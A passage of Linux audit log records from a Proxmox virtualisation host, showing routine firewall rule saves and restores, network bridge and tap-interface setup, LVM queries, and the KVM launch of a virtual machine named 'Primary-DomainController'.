msg=audit(1781965076.444:64073): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632071646973632064656C2064657620746170383737693020726F6F74203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964384659,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.659:60784): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965076440,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.440:64072): argc=6 a0=\"/sbin/tc\" a1=\"qdisc\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"ingress\""} {"@timestamp":1781964384626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.626:60783): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965076437,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.437:64071): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632071646973632064656C2064657620746170383737693020696E6772657373203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.152:60782): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076431,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.431:64070): argc=12 a0=\"/sbin/tc\" a1=\"filter\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"parent\" a6=\"ffff:\" a7=\"protocol\" a8=\"all\" a9=\"pref\" a10=\"50\" a11=\"u32\""} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.152:60781): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076427,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.427:64069): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F74632066696C7465722064656C2064657620746170383737693020706172656E7420666666663A2070726F746F636F6C20616C6C207072656620353020753332203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.152:60780): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076419,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.419:64068): argc=9 a0=\"/sbin/tc\" a1=\"class\" a2=\"del\" a3=\"dev\" a4=\"tap877i0\" a5=\"parent\" a6=\"1:\" a7=\"classid\" a8=\"1:1\""} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.145:60779): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076415,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.415:64067): argc=3 a0=\"sh\" a1=\"-c\" a2=2F7362696E2F746320636C6173732064656C2064657620746170383737693020706172656E7420313A20636C617373696420313A31203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.145:60778): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076384,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.384:64066): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"master\" a5=\"fwbr877i0\""} {"@timestamp":1781964384145,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964384.145:60777): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076375,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.375:64065): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.137:60776): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076319,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.319:64063): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"master\" a5=\"fwbr877i0\""} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.137:60775): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.310:64062): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964379137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.137:60774): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076302,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.302:64060): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"master\" a5=\"vmbr0\""} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.130:60773): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076292,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.292:64059): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"mtu\" a5=\"1500\""} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.130:60772): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.277:64058): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwpr877p0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964379130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964379.130:60771): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.278:64055): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwpr877p0\" a2=\"--prefix=/net/ipv4/neigh/fwpr877p0\" a3=\"--prefix=/net/ipv6/conf/fwpr877p0\" a4=\"--prefix=/net/ipv6/neigh/fwpr877p0\""} {"@timestamp":1781964375332,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.332:60770): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965076280,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.280:64057): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwln877i0\" a2=\"--prefix=/net/ipv4/neigh/fwln877i0\" a3=\"--prefix=/net/ipv6/conf/fwln877i0\" a4=\"--prefix=/net/ipv6/neigh/fwln877i0\""} {"@timestamp":1781964375329,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.329:60769): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.278:64056): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964375328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.328:60768): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.272:64053): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964375328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.328:60767): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.272:64052): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwln877i0/../..\""} {"@timestamp":1781964375324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.324:60766): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965076268,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.268:64051): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwln877i0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964375318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.318:60765): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076270,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.270:64049): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964375312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.312:60764): proctitle=\"iptables-save\""} {"@timestamp":1781965076270,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.270:64048): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwpr877p0/../..\""} {"@timestamp":1781964375306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.306:60763): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076267,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.267:64047): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964375299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.299:60762): proctitle=\"iptables-save\""} {"@timestamp":1781965076257,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.257:64046): argc=14 a0=\"/sbin/ip\" a1=\"link\" a2=\"add\" a3=\"name\" a4=\"fwln877i0\" a5=\"mtu\" a6=\"1500\" a7=\"type\" a8=\"veth\" a9=\"peer\" a10=\"name\" a11=\"fwpr877p0\" a12=\"mtu\" a13=\"1500\""} {"@timestamp":1781964375296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.296:60761): proctitle=\"ebtables-restore\""} {"@timestamp":1781965076250,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.250:64045): argc=7 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"fwbr877i0\" a4=\"up\" a5=\"mtu\" a6=\"1500\""} {"@timestamp":1781964375294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.294:60760): proctitle=\"ebtables-restore\""} {"@timestamp":1781965076251,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.251:64044): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/fwbr877i0\" a2=\"--prefix=/net/ipv4/neigh/fwbr877i0\" a3=\"--prefix=/net/ipv6/conf/fwbr877i0\" a4=\"--prefix=/net/ipv6/neigh/fwbr877i0\""} {"@timestamp":1781964375290,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.290:60759): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.250:64043): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964375284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.284:60758): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965076247,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.247:64041): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/fwbr877i0/../..\""} {"@timestamp":1781964375279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.279:60757): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.246:64040): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964375274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.274:60756): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965076243,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.243:64039): argc=6 a0=\"/sbin/ip\" a1=\"link\" a2=\"add\" a3=\"fwbr877i0\" a4=\"type\" a5=\"bridge\""} {"@timestamp":1781964375269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.269:60755): proctitle=697073657400726573746F7265"} {"@timestamp":1781965076228,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.228:64036): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964375262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.262:60754): proctitle=\"ip6tables-save\""} {"@timestamp":1781965076221,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.221:64035): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964375256,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.256:60753): proctitle=\"iptables-save\""} {"@timestamp":1781965076215,"@rawstring":"node=pve type=EXECVE msg=audit(1781965076.215:64033): argc=9 a0=\"/sbin/ip\" a1=\"link\" a2=\"set\" a3=\"tap877i0\" a4=\"up\" a5=\"promisc\" a6=\"on\" a7=\"mtu\" a8=\"1500\""} {"@timestamp":1781964375252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.252:60752): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965075853,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.853:64032): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964375249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.249:60751): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965075850,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.850:64031): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964375248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.248:60750): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.849:64030): argc=1 a0=\"date\""} {"@timestamp":1781964375248,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.248:60749): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075844,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.844:64028): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964375244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.244:60748): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.839:64027): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964375237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.237:60747): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075832,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.832:64026): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964375231,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.231:60746): proctitle=\"iptables-save\""} {"@timestamp":1781965075826,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.826:64025): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964375226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.226:60745): proctitle=69707365740073617665"} {"@timestamp":1781965075818,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.818:64024): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964375220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.220:60744): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965075814,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.814:64022): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964375214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964375.214:60743): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965075808,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.808:64021): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964374563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.563:60742): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965075802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.802:64020): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964374529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.529:60741): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965075798,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.798:64019): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.121:60740): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.792:64018): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.121:60739): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075786,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.786:64017): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964374121,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.121:60738): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075779,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.779:64016): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.099:60737): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075772,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.772:64015): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.099:60736): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.768:64014): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964374099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964374.099:60735): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.763:64013): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.089:60734): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075763,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.763:64012): argc=1 a0=\"date\""} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.089:60733): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075757,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.757:64010): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964369089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.089:60732): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.751:64009): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.085:60731): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075743,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.743:64008): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.085:60730): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075738,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.738:64007): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964369085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964369.085:60729): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965075731,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.731:64006): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964366203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.203:60728): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965075723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.723:64005): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964366199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.199:60727): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965075528,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.528:64004): argc=5 a0=\"/usr/lib/systemd/systemd-sysctl\" a1=\"--prefix=/net/ipv4/conf/tap877i0\" a2=\"--prefix=/net/ipv4/neigh/tap877i0\" a3=\"--prefix=/net/ipv6/conf/tap877i0\" a4=\"--prefix=/net/ipv6/neigh/tap877i0\""} {"@timestamp":1781964366198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.198:60726): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075525,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.525:64003): argc=4 a0=\"/bin/sh\" a1=\"-e\" a2=\"/usr/lib/open-iscsi/net-interface-handler\" a3=\"start\""} {"@timestamp":1781964366198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.198:60725): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075521,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.521:64001): argc=2 a0=\"realpath\" a1=\"/sys/devices/virtual/net/tap877i0/../..\""} {"@timestamp":1781964366193,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.193:60724): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965075519,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.519:64000): argc=2 a0=\"/bin/sh\" a1=\"/usr/lib/udev/virtual-function-naming-helper\""} {"@timestamp":1781964366185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.185:60723): proctitle=\"ip6tables-save\""} {"@timestamp":1781965075517,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.517:63999): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/libexec/qemu-server/pve-bridge\" a2=\"tap877i0\""} {"@timestamp":1781964366177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964366.177:60722): proctitle=\"iptables-save\""} {"@timestamp":1781965075461,"@rawstring":"node=pve type=EXECVE msg=audit(1781965075.461:63998): argc=74 a0=\"/usr/bin/kvm\" a1=\"-id\" a2=\"877\" a3=\"-name\" a4=\"Primary-DomainController,debug-threads=on\" a5=\"-no-shutdown\" a6=\"-chardev\" a7=\"socket,id=qmp,path=/var/run/qemu-server/877.qmp,server=on,wait=off\" a8=\"-mon\" a9=\"chardev=qmp,mode=control\" a10=\"-chardev\" a11=\"socket,id=qmp-event,path=/var/run/qmeventd.sock,reconnect-ms=5000\" a12=\"-mon\" a13=\"chardev=qmp-event,mode=control\" a14=\"-pidfile\" a15=\"/var/run/qemu-server/877.pid\" a16=\"-daemonize\" a17=\"-smbios\" a18=\"type=1,uuid=56cd4235-c22d-4705-9df5-54b64687e66b\" a19=\"-smp\" a20=\"1,sockets=1,cores=1,maxcpus=1\" a21=\"-nodefaults\" a22=\"-boot\" a23=\"menu=on,strict=on,reboot-timeout=1000,splash=/usr/share/qemu-server/bootsplash.jpg\" a24=\"-vnc\" a25=\"unix:/var/run/qemu-server/877.vnc,password=on\" a26=\"-cpu\" a27=\"qemu64,+aes,+pni,+popcnt,+sse4.1,+sse4.2,+ssse3\" a28=\"-m\" a29=\"2048\" a30=\"-object\" a31=7B226964223A227468726F74746C652D64726976652D69646532222C226C696D697473223A7B7D2C22716F6D2D74797065223A227468726F74746C652D67726F7570227D a32=\"-object\" a33=\"iothread,id=iothread-virtioscsi0\" a34=\"-object\" a35=7B226964223A227468726F74746C652D64726976652D7363736930222C226C696D697473223A7B7D2C22716F6D2D74797065223A227468726F74746C652D67726F7570227D a36=\"-global\" a37=\"PIIX4_PM.disable_s3=1\" a38=\"-global\" a39=\"PIIX4_PM.disable_s4=1\" a40=\"-device\" a41=\"pci-bridge,id=pci.1,chassis_nr=1,bus=pci.0,addr=0x1e\" a42=\"-device\" a43=\"pci-bridge,id=pci.2,chassis_nr=2,bus=pci.0,addr=0x1f\" a44=\"-device\" a45=\"pci-bridge,id=pci.3,chassis_nr=3,bus=pci.0,addr=0x5\" a46=\"-device\" a47=\"vmgenid,guid=4c583b4e-472e-4194-9995-9709ab97cd35\" a48=\"-device\" a49=\"piix3-usb-uhci,id=uhci,bus=pci.0,addr=0x1.0x2\" a50=\"-device\" a51=\"usb-tablet,id=tablet,bus=uhci.0,port=1\" a52=\"-device\" a53=\"VGA,id=vga,bus=pci.0,addr=0x2\" a54=\"-device\" a55=\"virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x3,free-page-reporting=on\" a56=\"-iscsi\" a57=\"initiator-name=iqn.1993-08.org.debian:01:c6d32950ac1\" a58=\"-blockdev\" a59=7B22647269766572223A227468726F74746C65222C2266696C65223A7B226361636865223A7B22646972656374223A66616C73652C226E6F2D666C757368223A66616C73657D2C22647269766572223A22726177222C2266696C65223A7B2261696F223A22696F5F7572696E67222C226361636865223A7B22646972656374223A66616C73652C226E6F2D666C757368223A66616C73657D2C22647269766572223A2266696C65222C2266696C656E616D65223A222F7661722F6C69622F767A2F74656D706C6174652F69736F2F7562756E74752D32322E30342E352D6C6976652D7365727665722D616D6436342E69736F222C226E6F64652D6E616D65223A2265313965643230653332393963626365393166393335616166373537613931222C22726561642D6F6E6C79223A747275657D2C226E6F64652D6E616D65223A2266313965643230653332393963626365393166393335616166373537613931222C22726561642D6F6E6C79223A747275657D2C226E6F64652D6E616D65223A2264726976652D69646532222C22726561642D6F6E6C79223A747275652C227468726F74746C652D67726F7570223A227468726F74746C652D64726976652D69646532227D a60=\"-device\" a61=\"ide-cd,bus=ide.1,unit=0,drive=drive-ide2,id=ide2,bootindex=101\" a62=\"-device\" 